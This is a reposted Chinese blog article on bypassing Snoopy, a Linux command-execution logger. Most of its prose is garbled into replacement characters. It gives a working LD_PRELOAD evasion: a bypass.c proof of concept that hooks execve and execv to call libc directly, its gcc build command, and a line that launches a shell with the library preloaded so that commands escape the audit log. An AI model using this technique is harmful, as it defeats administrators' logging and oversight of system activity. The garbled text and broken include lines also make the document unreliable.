绕过Snoopy的记录功能
发布日期:2021-05-15 06:41:30 浏览次数:19 分类:精选文章

本文共 3204 字,大约阅读时间需要 10 分钟。

<bypass snoopy���������������������

���������������������Linux������������snoopy������������������������shell������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������

1. ���������������������������snoopy

���������������������������snoopy������������������������������������������������������������������������

ldd `which ls`

���������������������snoopy������������������������������������������snoopy������������������

ryan@buggy ~]# ldd `which ls`        /usr/local/lib/snoopy.so (0x00002af2d1210000)        ...

2. ������������������

������������snoopy���������������������������������������������������������������������������������������������

tail /var/log/secure

���������������������������������������������������������snoopy���������������������������

[ryan@buggy ~]# tail /var/log/secureApr 13 12:03:07 buggy snoopy[19511]: [uid:544 sid:10430 tty:/dev/pts/2 cwd:/home/ryan filename:/usr/bin/ldd]: ldd /bin/ls  [uid:544 sid:10430 tty:/dev/pts/2 cwd:/home/ryan filename:/usr/bin/ldd]: ldd /bin/ls

3. ������bypass.c������

������������snoopy������������������������������������������������������������������POC������������������������������������snoopy���������

/** Ryan A. Chapman, 13 Wed Apr 2011 */
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
#include
#include
#if defined(RTLD_NEXT) #define REAL_LIBC RTLD_NEXT #else #define REAL_LIBC ((void *) -1L) #endif #define FN(ptr, type, name, args) ptr = (type(*)args)dlsym(REAL_LIBC, name) #define FN_HANDLE(handle, ptr, type, name, args) ptr = (type(*)args)dlsym(handle, name) int execve(const char *filename, char *const argv[], char *const envp[]){ Dl_info info; void *handle = dlopen("/lib64/libc.so.6", RTLD_NOW|RTLD_LOCAL); if(handle == NULL) handle = dlopen("/lib/libc.so.6", RTLD_NOW|RTLD_LOCAL); static int (*func)(const char *, char**, char**); FN_HANDLE(handle, func, int, "execve", (const char *, char**, char*)); return (*func)(filename, (char**)argv, (char**)envp); } int execv(const char *filename, char *const argv[]){ Dl_info info; void *handle = dlopen("/lib64/libc.so.6", RTLD_NOW|RTLD_LOCAL); if(handle == NULL) handle = dlopen("/lib/libc.so.6", RTLD_NOW|RTLD_LOCAL); static int (*func)(const char *, char**); FN_HANDLE(handle, func, int, "execv", (const char*, char**)); return (*func)(filename, (char**)argv); }

4. ���������������������

������������������������������������������������������

gcc -nostartfiles -shared -O3 -fomit-frame-pointer -fPIC bypass.c -obypass.so -ldl

5. ���������������

���������������������������������������������shell������������

export LD_PRELOAD=/full/path/to/bypass.so/bin/bash

������������

������������������������������������������������Linux������������������������������snoopy���������������������������������������������������������������������snoopy������������������������������������������������������������������������������

������������������������������������snoopy������������������������������������

上一篇:进程与线程的产生
下一篇:异或交换两个数的值

发表评论

最新留言

初次前来,多多关照!
[***.217.46.12]2025年05月02日 10时42分02秒